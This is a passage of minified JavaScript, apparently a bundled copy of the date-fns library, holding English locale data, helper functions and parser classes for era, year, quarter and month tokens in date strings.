quarter\"]},S={narrow:[\"J\",\"F\",\"M\",\"A\",\"M\",\"J\",\"J\",\"A\",\"S\",\"O\",\"N\",\"D\"],abbreviated:[\"Jan\",\"Feb\",\"Mar\",\"Apr\",\"May\",\"Jun\",\"Jul\",\"Aug\",\"Sep\",\"Oct\",\"Nov\",\"Dec\"],wide:[\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"]},E={narrow:[\"S\",\"M\",\"T\",\"W\",\"T\",\"F\",\"S\"],short:[\"Su\",\"Mo\",\"Tu\",\"We\",\"Th\",\"Fr\",\"Sa\"],abbreviated:[\"Sun\",\"Mon\",\"Tue\",\"Wed\",\"Thu\",\"Fri\",\"Sat\"],wide:[\"Sunday\",\"Monday\",\"Tuesday\",\"Wednesday\",\"Thursday\",\"Friday\",\"Saturday\"]},T={narrow:{am:\"a\",pm:\"p\",midnight:\"mi\",noon:\"n\",morning:\"morning\",afternoon:\"afternoon\",evening:\"evening\",night:\"night\"},abbreviated:{am:\"AM\",pm:\"PM\",midnight:\"midnight\",noon:\"noon\",morning:\"morning\",afternoon:\"afternoon\",evening:\"evening\",night:\"night\"},wide:{am:\"a.m.\",pm:\"p.m.\",midnight:\"midnight\",noon:\"noon\",morning:\"morning\",afternoon:\"afternoon\",evening:\"evening\",night:\"night\"}},R={narrow:{am:\"a\",pm:\"p\",midnight:\"mi\",noon:\"n\",morning:\"in the morning\",afternoon:\"in the afternoon\",evening:\"in the evening\",night:\"at night\"},abbreviated:{am:\"AM\",pm:\"PM\",midnight:\"midnight\",noon:\"noon\",morning:\"in the morning\",afternoon:\"in the afternoon\",evening:\"in the evening\",night:\"at night\"},wide:{am:\"a.m.\",pm:\"p.m.\",midnight:\"midnight\",noon:\"noon\",morning:\"in the morning\",afternoon:\"in the afternoon\",evening:\"in the evening\",night:\"at night\"}},O=function(e,t){var n=Number(e),r=n%100;if(r>20||r\u003C10)switch(r%10){case 1:return n+\"st\";case 2:return n+\"nd\";case 3:return n+\"rd\"}return n+\"th\"},M={ordinalNumber:O,era:k({values:C,defaultWidth:\"wide\"}),quarter:k({values:x,defaultWidth:\"wide\",argumentCallback:function(e){return e-1}}),month:k({values:S,defaultWidth:\"wide\"}),day:k({values:E,defaultWidth:\"wide\"}),dayPeriod:k({values:T,defaultWidth:\"wide\",formattingValues:R,defaultFormattingWidth:\"wide\"})},A=M;function D(e){return function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=n.width,a=r&&e.matchPatterns[r]||e.matchPatterns[e.defaultMatchWidth],o=t.match(a);if(!o)return null;var i,l=o[0],s=r&&e.parsePatterns[r]||e.parsePatterns[e.defaultParseWidth],u=Array.isArray(s)?W(s,function(e){return e.test(l)}):B(s,function(e){return e.test(l)});i=e.valueCallback?e.valueCallback(u):u,i=n.valueCallback?n.valueCallback(i):i;var d=t.slice(l.length);return{value:i,rest:d}}}function B(e,t){for(var n in e)if(e.hasOwnProperty(n)&&t(e[n]))return n}function W(e,t){for(var n=0;n\u003Ce.length;n++)if(t(e[n]))return n}function P(e){return function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=t.match(e.matchPattern);if(!r)return null;var a=r[0],o=t.match(e.parsePattern);if(!o)return null;var i=e.valueCallback?e.valueCallback(o[0]):o[0];i=n.valueCallback?n.valueCallback(i):i;var l=t.slice(a.length);return{value:i,rest:l}}}var I=\u002F^(\\d+)(th|st|nd|rd)?\u002Fi,N=\u002F\\d+\u002Fi,L={narrow:\u002F^(b|a)\u002Fi,abbreviated:\u002F^(b\\.?\\s?c\\.?|b\\.?\\s?c\\.?\\s?e\\.?|a\\.?\\s?d\\.?|c\\.?\\s?e\\.?)\u002Fi,wide:\u002F^(before christ|before common era|anno domini|common era)\u002Fi},j={any:[\u002F^b\u002Fi,\u002F^(a|c)\u002Fi]},F={narrow:\u002F^[1234]\u002Fi,abbreviated:\u002F^q[1234]\u002Fi,wide:\u002F^[1234](th|st|nd|rd)? quarter\u002Fi},V={any:[\u002F1\u002Fi,\u002F2\u002Fi,\u002F3\u002Fi,\u002F4\u002Fi]},U={narrow:\u002F^[jfmasond]\u002Fi,abbreviated:\u002F^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\u002Fi,wide:\u002F^(january|february|march|april|may|june|july|august|september|october|november|december)\u002Fi},X={narrow:[\u002F^j\u002Fi,\u002F^f\u002Fi,\u002F^m\u002Fi,\u002F^a\u002Fi,\u002F^m\u002Fi,\u002F^j\u002Fi,\u002F^j\u002Fi,\u002F^a\u002Fi,\u002F^s\u002Fi,\u002F^o\u002Fi,\u002F^n\u002Fi,\u002F^d\u002Fi],any:[\u002F^ja\u002Fi,\u002F^f\u002Fi,\u002F^mar\u002Fi,\u002F^ap\u002Fi,\u002F^may\u002Fi,\u002F^jun\u002Fi,\u002F^jul\u002Fi,\u002F^au\u002Fi,\u002F^s\u002Fi,\u002F^o\u002Fi,\u002F^n\u002Fi,\u002F^d\u002Fi]},H={narrow:\u002F^[smtwf]\u002Fi,short:\u002F^(su|mo|tu|we|th|fr|sa)\u002Fi,abbreviated:\u002F^(sun|mon|tue|wed|thu|fri|sat)\u002Fi,wide:\u002F^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)\u002Fi},G={narrow:[\u002F^s\u002Fi,\u002F^m\u002Fi,\u002F^t\u002Fi,\u002F^w\u002Fi,\u002F^t\u002Fi,\u002F^f\u002Fi,\u002F^s\u002Fi],any:[\u002F^su\u002Fi,\u002F^m\u002Fi,\u002F^tu\u002Fi,\u002F^w\u002Fi,\u002F^th\u002Fi,\u002F^f\u002Fi,\u002F^sa\u002Fi]},Y={narrow:\u002F^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))\u002Fi,any:\u002F^([ap]\\.?\\s?m\\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))\u002Fi},z={any:{am:\u002F^a\u002Fi,pm:\u002F^p\u002Fi,midnight:\u002F^mi\u002Fi,noon:\u002F^no\u002Fi,morning:\u002Fmorning\u002Fi,afternoon:\u002Fafternoon\u002Fi,evening:\u002Fevening\u002Fi,night:\u002Fnight\u002Fi}},K={ordinalNumber:P({matchPattern:I,parsePattern:N,valueCallback:function(e){return parseInt(e,10)}}),era:D({matchPatterns:L,defaultMatchWidth:\"wide\",parsePatterns:j,defaultParseWidth:\"any\"}),quarter:D({matchPatterns:F,defaultMatchWidth:\"wide\",parsePatterns:V,defaultParseWidth:\"any\",valueCallback:function(e){return e+1}}),month:D({matchPatterns:U,defaultMatchWidth:\"wide\",parsePatterns:X,defaultParseWidth:\"any\"}),day:D({matchPatterns:H,defaultMatchWidth:\"wide\",parsePatterns:G,defaultParseWidth:\"any\"}),dayPeriod:D({matchPatterns:Y,defaultMatchWidth:\"any\",parsePatterns:z,defaultParseWidth:\"any\"})},q=K,Q={code:\"en-US\",formatDistance:p,formatLong:b,formatRelative:_,localize:A,match:q,options:{weekStartsOn:0,firstWeekContainsDate:1}},Z=Q,J=Z;function ee(e){if(null===e||!0===e||!1===e)return NaN;var t=Number(e);return isNaN(t)?t:t\u003C0?Math.ceil(t):Math.floor(t)}function te(e,t){if(t.length\u003Ce)throw new TypeError(e+\" argument\"+(e>1?\"s\":\"\")+\" required, but only \"+t.length+\" present\")}function ne(e){te(1,arguments);var t=Object.prototype.toString.call(e);return e instanceof Date||\"object\"===l(e)&&\"[object Date]\"===t?new Date(e.getTime()):\"number\"===typeof e||\"[object Number]\"===t?new Date(e):(\"string\"!==typeof e&&\"[object String]\"!==t||\"undefined\"===typeof console||(console.warn(\"Starting with v2.0.0-beta.1 date-fns doesn't accept strings as date arguments. Please use `parseISO` to parse strings. See: https:\u002F\u002Fgithub.com\u002Fdate-fns\u002Fdate-fns\u002Fblob\u002Fmaster\u002Fdocs\u002FupgradeGuide.md#string-arguments\"),console.warn((new Error).stack)),new Date(NaN))}function re(e,t){te(2,arguments);var n=ne(e).getTime(),r=ee(t);return new Date(n+r)}function ae(e,t){te(2,arguments);var n=ee(t);return re(e,-n)}function oe(e,t){if(null==e)throw new TypeError(\"assign requires that input parameter not be null or undefined\");for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n]);return e}var ie=function(e,t){switch(e){case\"P\":return t.date({width:\"short\"});case\"PP\":return t.date({width:\"medium\"});case\"PPP\":return t.date({width:\"long\"});case\"PPPP\":default:return t.date({width:\"full\"})}},le=function(e,t){switch(e){case\"p\":return t.time({width:\"short\"});case\"pp\":return t.time({width:\"medium\"});case\"ppp\":return t.time({width:\"long\"});case\"pppp\":default:return t.time({width:\"full\"})}},se=function(e,t){var n,r=e.match(\u002F(P+)(p+)?\u002F)||[],a=r[1],o=r[2];if(!o)return ie(e,t);switch(a){case\"P\":n=t.dateTime({width:\"short\"});break;case\"PP\":n=t.dateTime({width:\"medium\"});break;case\"PPP\":n=t.dateTime({width:\"long\"});break;case\"PPPP\":default:n=t.dateTime({width:\"full\"});break}return n.replace(\"{{date}}\",ie(a,t)).replace(\"{{time}}\",le(o,t))},ue={p:le,P:se},de=ue;function ce(e){var t=new Date(Date.UTC(e.getFullYear(),e.getMonth(),e.getDate(),e.getHours(),e.getMinutes(),e.getSeconds(),e.getMilliseconds()));return t.setUTCFullYear(e.getFullYear()),e.getTime()-t.getTime()}var fe=[\"D\",\"DD\"],pe=[\"YY\",\"YYYY\"];function he(e){return-1!==fe.indexOf(e)}function ve(e){return-1!==pe.indexOf(e)}function me(e,t,n){if(\"YYYY\"===e)throw new RangeError(\"Use `yyyy` instead of `YYYY` (in `\".concat(t,\"`) for formatting years to the input `\").concat(n,\"`; see: https:\u002F\u002Fgithub.com\u002Fdate-fns\u002Fdate-fns\u002Fblob\u002Fmaster\u002Fdocs\u002FunicodeTokens.md\"));if(\"YY\"===e)throw new RangeError(\"Use `yy` instead of `YY` (in `\".concat(t,\"`) for formatting years to the input `\").concat(n,\"`; see: https:\u002F\u002Fgithub.com\u002Fdate-fns\u002Fdate-fns\u002Fblob\u002Fmaster\u002Fdocs\u002FunicodeTokens.md\"));if(\"D\"===e)throw new RangeError(\"Use `d` instead of `D` (in `\".concat(t,\"`) for formatting days of the month to the input `\").concat(n,\"`; see: https:\u002F\u002Fgithub.com\u002Fdate-fns\u002Fdate-fns\u002Fblob\u002Fmaster\u002Fdocs\u002FunicodeTokens.md\"));if(\"DD\"===e)throw new RangeError(\"Use `dd` instead of `DD` (in `\".concat(t,\"`) for formatting days of the month to the input `\").concat(n,\"`; see: https:\u002F\u002Fgithub.com\u002Fdate-fns\u002Fdate-fns\u002Fblob\u002Fmaster\u002Fdocs\u002FunicodeTokens.md\"))}function ge(e){if(void 0===e)throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\");return e}function ye(e,t){return ye=Object.setPrototypeOf?Object.setPrototypeOf.bind():function(e,t){return e.__proto__=t,e},ye(e,t)}function be(e,t){if(\"function\"!=typeof t&&null!==t)throw new TypeError(\"Super expression must either be null or a function\");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,\"prototype\",{writable:!1}),t&&ye(e,t)}function $e(e){return $e=Object.setPrototypeOf?Object.getPrototypeOf.bind():function(e){return e.__proto__||Object.getPrototypeOf(e)},$e(e)}function we(){try{var e=!Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){}))}catch(e){}return(we=function(){return!!e})()}function _e(e,t){if(t&&(\"object\"==l(t)||\"function\"==typeof t))return t;if(void 0!==t)throw new TypeError(\"Derived constructors may only return object or undefined\");return ge(e)}function ke(e){var t=we();return function(){var n,r=$e(e);if(t){var a=$e(this).constructor;n=Reflect.construct(r,arguments,a)}else n=r.apply(this,arguments);return _e(this,n)}}function Ce(e,t){if(!(e instanceof t))throw new TypeError(\"Cannot call a class as a function\")}function xe(e,t){if(\"object\"!=l(e)||!e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t||\"default\");if(\"object\"!=l(r))return r;throw new TypeError(\"@@toPrimitive must return a primitive value.\")}return(\"string\"===t?String:Number)(e)}function Se(e){var t=xe(e,\"string\");return\"symbol\"==l(t)?t:t+\"\"}function Ee(e,t){for(var n=0;n\u003Ct.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,\"value\"in r&&(r.writable=!0),Object.defineProperty(e,Se(r.key),r)}}function Te(e,t,n){return t&&Ee(e.prototype,t),n&&Ee(e,n),Object.defineProperty(e,\"prototype\",{writable:!1}),e}function Re(e,t,n){return(t=Se(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Oe=10,Me=function(){function e(){Ce(this,e),Re(this,\"priority\",void 0),Re(this,\"subPriority\",0)}return Te(e,[{key:\"validate\",value:function(e,t){return!0}}]),e}(),Ae=function(e){be(n,e);var t=ke(n);function n(e,r,a,o,i){var l;return Ce(this,n),l=t.call(this),l.value=e,l.validateValue=r,l.setValue=a,l.priority=o,i&&(l.subPriority=i),l}return Te(n,[{key:\"validate\",value:function(e,t){return this.validateValue(e,this.value,t)}},{key:\"set\",value:function(e,t,n){return this.setValue(e,t,this.value,n)}}]),n}(Me),De=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",Oe),Re(ge(e),\"subPriority\",-1),e}return Te(n,[{key:\"set\",value:function(e,t){if(t.timestampIsSet)return e;var n=new Date(0);return n.setFullYear(e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate()),n.setHours(e.getUTCHours(),e.getUTCMinutes(),e.getUTCSeconds(),e.getUTCMilliseconds()),n}}]),n}(Me),Be=function(){function e(){Ce(this,e),Re(this,\"incompatibleTokens\",void 0),Re(this,\"priority\",void 0),Re(this,\"subPriority\",void 0)}return Te(e,[{key:\"run\",value:function(e,t,n,r){var a=this.parse(e,t,n,r);return a?{setter:new Ae(a.value,this.validate,this.set,this.priority,this.subPriority),rest:a.rest}:null}},{key:\"validate\",value:function(e,t,n){return!0}}]),e}(),We=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",140),Re(ge(e),\"incompatibleTokens\",[\"R\",\"u\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"G\":case\"GG\":case\"GGG\":return n.era(e,{width:\"abbreviated\"})||n.era(e,{width:\"narrow\"});case\"GGGGG\":return n.era(e,{width:\"narrow\"});case\"GGGG\":default:return n.era(e,{width:\"wide\"})||n.era(e,{width:\"abbreviated\"})||n.era(e,{width:\"narrow\"})}}},{key:\"set\",value:function(e,t,n){return t.era=n,e.setUTCFullYear(n,0,1),e.setUTCHours(0,0,0,0),e}}]),n}(Be),Pe=(Math.pow(10,8),6e4),Ie=36e5,Ne=1e3,Le={month:\u002F^(1[0-2]|0?\\d)\u002F,date:\u002F^(3[0-1]|[0-2]?\\d)\u002F,dayOfYear:\u002F^(36[0-6]|3[0-5]\\d|[0-2]?\\d?\\d)\u002F,week:\u002F^(5[0-3]|[0-4]?\\d)\u002F,hour23h:\u002F^(2[0-3]|[0-1]?\\d)\u002F,hour24h:\u002F^(2[0-4]|[0-1]?\\d)\u002F,hour11h:\u002F^(1[0-1]|0?\\d)\u002F,hour12h:\u002F^(1[0-2]|0?\\d)\u002F,minute:\u002F^[0-5]?\\d\u002F,second:\u002F^[0-5]?\\d\u002F,singleDigit:\u002F^\\d\u002F,twoDigits:\u002F^\\d{1,2}\u002F,threeDigits:\u002F^\\d{1,3}\u002F,fourDigits:\u002F^\\d{1,4}\u002F,anyDigitsSigned:\u002F^-?\\d+\u002F,singleDigitSigned:\u002F^-?\\d\u002F,twoDigitsSigned:\u002F^-?\\d{1,2}\u002F,threeDigitsSigned:\u002F^-?\\d{1,3}\u002F,fourDigitsSigned:\u002F^-?\\d{1,4}\u002F},je={basicOptionalMinutes:\u002F^([+-])(\\d{2})(\\d{2})?|Z\u002F,basic:\u002F^([+-])(\\d{2})(\\d{2})|Z\u002F,basicOptionalSeconds:\u002F^([+-])(\\d{2})(\\d{2})((\\d{2}))?|Z\u002F,extended:\u002F^([+-])(\\d{2}):(\\d{2})|Z\u002F,extendedOptionalSeconds:\u002F^([+-])(\\d{2}):(\\d{2})(:(\\d{2}))?|Z\u002F};function Fe(e,t){return e?{value:t(e.value),rest:e.rest}:e}function Ve(e,t){var n=t.match(e);return n?{value:parseInt(n[0],10),rest:t.slice(n[0].length)}:null}function Ue(e,t){var n=t.match(e);if(!n)return null;if(\"Z\"===n[0])return{value:0,rest:t.slice(1)};var r=\"+\"===n[1]?1:-1,a=n[2]?parseInt(n[2],10):0,o=n[3]?parseInt(n[3],10):0,i=n[5]?parseInt(n[5],10):0;return{value:r*(a*Ie+o*Pe+i*Ne),rest:t.slice(n[0].length)}}function Xe(e){return Ve(Le.anyDigitsSigned,e)}function He(e,t){switch(e){case 1:return Ve(Le.singleDigit,t);case 2:return Ve(Le.twoDigits,t);case 3:return Ve(Le.threeDigits,t);case 4:return Ve(Le.fourDigits,t);default:return Ve(new RegExp(\"^\\\\d{1,\"+e+\"}\"),t)}}function Ge(e,t){switch(e){case 1:return Ve(Le.singleDigitSigned,t);case 2:return Ve(Le.twoDigitsSigned,t);case 3:return Ve(Le.threeDigitsSigned,t);case 4:return Ve(Le.fourDigitsSigned,t);default:return Ve(new RegExp(\"^-?\\\\d{1,\"+e+\"}\"),t)}}function Ye(e){switch(e){case\"morning\":return 4;case\"evening\":return 17;case\"pm\":case\"noon\":case\"afternoon\":return 12;case\"am\":case\"midnight\":case\"night\":default:return 0}}function ze(e,t){var n,r=t>0,a=r?t:1-t;if(a\u003C=50)n=e||100;else{var o=a+50,i=100*Math.floor(o\u002F100),l=e>=o%100;n=e+i-(l?100:0)}return r?n:1-n}function Ke(e){return e%400===0||e%4===0&&e%100!==0}var qe=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",130),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"u\",\"w\",\"I\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){var r=function(e){return{year:e,isTwoDigitYear:\"yy\"===t}};switch(t){case\"y\":return Fe(He(4,e),r);case\"yo\":return Fe(n.ordinalNumber(e,{unit:\"year\"}),r);default:return Fe(He(t.length,e),r)}}},{key:\"validate\",value:function(e,t){return t.isTwoDigitYear||t.year>0}},{key:\"set\",value:function(e,t,n){var r=e.getUTCFullYear();if(n.isTwoDigitYear){var a=ze(n.year,r);return e.setUTCFullYear(a,0,1),e.setUTCHours(0,0,0,0),e}var o=\"era\"in t&&1!==t.era?1-n.year:n.year;return e.setUTCFullYear(o,0,1),e.setUTCHours(0,0,0,0),e}}]),n}(Be),Qe={};function Ze(){return Qe}function Je(e,t){var n,r,a,o,i,l,s,u;te(1,arguments);var d=Ze(),c=ee(null!==(n=null!==(r=null!==(a=null!==(o=null===t||void 0===t?void 0:t.weekStartsOn)&&void 0!==o?o:null===t||void 0===t||null===(i=t.locale)||void 0===i||null===(l=i.options)||void 0===l?void 0:l.weekStartsOn)&&void 0!==a?a:d.weekStartsOn)&&void 0!==r?r:null===(s=d.locale)||void 0===s||null===(u=s.options)||void 0===u?void 0:u.weekStartsOn)&&void 0!==n?n:0);if(!(c>=0&&c\u003C=6))throw new RangeError(\"weekStartsOn must be between 0 and 6 inclusively\");var f=ne(e),p=f.getUTCDay(),h=(p\u003Cc?7:0)+p-c;return f.setUTCDate(f.getUTCDate()-h),f.setUTCHours(0,0,0,0),f}function et(e,t){var n,r,a,o,i,l,s,u;te(1,arguments);var d=ne(e),c=d.getUTCFullYear(),f=Ze(),p=ee(null!==(n=null!==(r=null!==(a=null!==(o=null===t||void 0===t?void 0:t.firstWeekContainsDate)&&void 0!==o?o:null===t||void 0===t||null===(i=t.locale)||void 0===i||null===(l=i.options)||void 0===l?void 0:l.firstWeekContainsDate)&&void 0!==a?a:f.firstWeekContainsDate)&&void 0!==r?r:null===(s=f.locale)||void 0===s||null===(u=s.options)||void 0===u?void 0:u.firstWeekContainsDate)&&void 0!==n?n:1);if(!(p>=1&&p\u003C=7))throw new RangeError(\"firstWeekContainsDate must be between 1 and 7 inclusively\");var h=new Date(0);h.setUTCFullYear(c+1,0,p),h.setUTCHours(0,0,0,0);var v=Je(h,t),m=new Date(0);m.setUTCFullYear(c,0,p),m.setUTCHours(0,0,0,0);var g=Je(m,t);return d.getTime()>=v.getTime()?c+1:d.getTime()>=g.getTime()?c:c-1}var tt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",130),Re(ge(e),\"incompatibleTokens\",[\"y\",\"R\",\"u\",\"Q\",\"q\",\"M\",\"L\",\"I\",\"d\",\"D\",\"i\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){var r=function(e){return{year:e,isTwoDigitYear:\"YY\"===t}};switch(t){case\"Y\":return Fe(He(4,e),r);case\"Yo\":return Fe(n.ordinalNumber(e,{unit:\"year\"}),r);default:return Fe(He(t.length,e),r)}}},{key:\"validate\",value:function(e,t){return t.isTwoDigitYear||t.year>0}},{key:\"set\",value:function(e,t,n,r){var a=et(e,r);if(n.isTwoDigitYear){var o=ze(n.year,a);return e.setUTCFullYear(o,0,r.firstWeekContainsDate),e.setUTCHours(0,0,0,0),Je(e,r)}var i=\"era\"in t&&1!==t.era?1-n.year:n.year;return e.setUTCFullYear(i,0,r.firstWeekContainsDate),e.setUTCHours(0,0,0,0),Je(e,r)}}]),n}(Be);function nt(e){te(1,arguments);var t=1,n=ne(e),r=n.getUTCDay(),a=(r\u003Ct?7:0)+r-t;return n.setUTCDate(n.getUTCDate()-a),n.setUTCHours(0,0,0,0),n}var rt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",130),Re(ge(e),\"incompatibleTokens\",[\"G\",\"y\",\"Y\",\"u\",\"Q\",\"q\",\"M\",\"L\",\"w\",\"d\",\"D\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t){return Ge(\"R\"===t?4:t.length,e)}},{key:\"set\",value:function(e,t,n){var r=new Date(0);return r.setUTCFullYear(n,0,4),r.setUTCHours(0,0,0,0),nt(r)}}]),n}(Be),at=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",130),Re(ge(e),\"incompatibleTokens\",[\"G\",\"y\",\"Y\",\"R\",\"w\",\"I\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t){return Ge(\"u\"===t?4:t.length,e)}},{key:\"set\",value:function(e,t,n){return e.setUTCFullYear(n,0,1),e.setUTCHours(0,0,0,0),e}}]),n}(Be),ot=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",120),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"q\",\"M\",\"L\",\"w\",\"I\",\"d\",\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"Q\":case\"QQ\":return He(t.length,e);case\"Qo\":return n.ordinalNumber(e,{unit:\"quarter\"});case\"QQQ\":return n.quarter(e,{width:\"abbreviated\",context:\"formatting\"})||n.quarter(e,{width:\"narrow\",context:\"formatting\"});case\"QQQQQ\":return n.quarter(e,{width:\"narrow\",context:\"formatting\"});case\"QQQQ\":default:return n.quarter(e,{width:\"wide\",context:\"formatting\"})||n.quarter(e,{width:\"abbreviated\",context:\"formatting\"})||n.quarter(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=4}},{key:\"set\",value:function(e,t,n){return e.setUTCMonth(3*(n-1),1),e.setUTCHours(0,0,0,0),e}}]),n}(Be),it=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",120),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"Q\",\"M\",\"L\",\"w\",\"I\",\"d\",\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){switch(t){case\"q\":case\"qq\":return He(t.length,e);case\"qo\":return n.ordinalNumber(e,{unit:\"quarter\"});case\"qqq\":return n.quarter(e,{width:\"abbreviated\",context:\"standalone\"})||n.quarter(e,{width:\"narrow\",context:\"standalone\"});case\"qqqqq\":return n.quarter(e,{width:\"narrow\",context:\"standalone\"});case\"qqqq\":default:return n.quarter(e,{width:\"wide\",context:\"standalone\"})||n.quarter(e,{width:\"abbreviated\",context:\"standalone\"})||n.quarter(e,{width:\"narrow\",context:\"standalone\"})}}},{key:\"validate\",value:function(e,t){return t>=1&&t\u003C=4}},{key:\"set\",value:function(e,t,n){return e.setUTCMonth(3*(n-1),1),e.setUTCHours(0,0,0,0),e}}]),n}(Be),lt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"q\",\"Q\",\"L\",\"w\",\"I\",\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),Re(ge(e),\"priority\",110),e}return Te(n,[{key:\"parse\",value:function(e,t,n){var r=function(e){return e-1};switch(t){case\"M\":return Fe(Ve(Le.month,e),r);case\"MM\":return Fe(He(2,e),r);case\"Mo\":return Fe(n.ordinalNumber(e,{unit:\"month\"}),r);case\"MMM\":return n.month(e,{width:\"abbreviated\",context:\"formatting\"})||n.month(e,{width:\"narrow\",context:\"formatting\"});case\"MMMMM\":return n.month(e,{width:\"narrow\",context:\"formatting\"});case\"MMMM\":default:return n.month(e,{width:\"wide\",context:\"formatting\"})||n.month(e,{width:\"abbreviated\",context:\"formatting\"})||n.month(e,{width:\"narrow\",context:\"formatting\"})}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=11}},{key:\"set\",value:function(e,t,n){return e.setUTCMonth(n,1),e.setUTCHours(0,0,0,0),e}}]),n}(Be),st=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return e=t.call.apply(t,[this].concat(a)),Re(ge(e),\"priority\",110),Re(ge(e),\"incompatibleTokens\",[\"Y\",\"R\",\"q\",\"Q\",\"M\",\"w\",\"I\",\"D\",\"i\",\"e\",\"c\",\"t\",\"T\"]),e}return Te(n,[{key:\"parse\",value:function(e,t,n){var r=function(e){return e-1};switch(t){case\"L\":return Fe(Ve(Le.month,e),r);case\"LL\":return Fe(He(2,e),r);case\"Lo\":return Fe(n.ordinalNumber(e,{unit:\"month\"}),r);case\"LLL\":return n.month(e,{width:\"abbreviated\",context:\"standalone\"})||n.month(e,{width:\"narrow\",context:\"standalone\"});case\"LLLLL\":return n.month(e,{width:\"narrow\",context:\"standalone\"});case\"LLLL\":default:return n.month(e,{width:\"wide\",context:\"standalone\"})||n.month(e,{width:\"abbreviated\",context:\"standalone\"})||n.month(e,{width:\"narrow\",context:\"standalone\"})}}},{key:\"validate\",value:function(e,t){return t>=0&&t\u003C=11}},{key:\"set\",value:function(e,t,n){return e.setUTCMonth(n,1),e.setUTCHours(0,0,0,0),e}}]),n}(Be);function ut(e,t){var n,r,a,o,i,l,s,u;te(1,arguments);var d=Ze(),c=ee(null!==(n=null!==(r=null!==(a=null!==(o=null===t||void 0===t?void 0:t.firstWeekContainsDate)&&void 0!==o?o:null===t||void 0===t||null===(i=t.locale)||void 0===i||null===(l=i.options)||void 0===l?void 0:l.firstWeekContainsDate)&&void 0!==a?a:d.firstWeekContainsDate)&&void 0!==r?r:null===(s=d.locale)||void 0===s||null===(u=s.options)||void 0===u?void 0:u.firstWeekContainsDate)&&void 0!==n?n:1),f=et(e,t),p=new Date(0);p.setUTCFullYear(f,0,c),p.setUTCHours(0,0,0,0);var h=Je(p,t);return h}var dt=6048e5;function ct(e,t){te(1,arguments);var n=ne(e),r=Je(n,t).getTime()-ut(n,t).getTime();return Math.round(r\u002Fdt)+1}function ft(e,t,n){te(2,arguments);var r=ne(e),a=ee(t),o=ct(r,n)-a;return r.setUTCDate(r.getUTCDate()-7*o),r}var pt=function(e){be(n,e);var t=ke(n);function n(){var e;Ce(this,n);for(var r=arguments.length,a=new Array(r),o=0;o\u003Cr;o++)a[o]=arguments[o];return 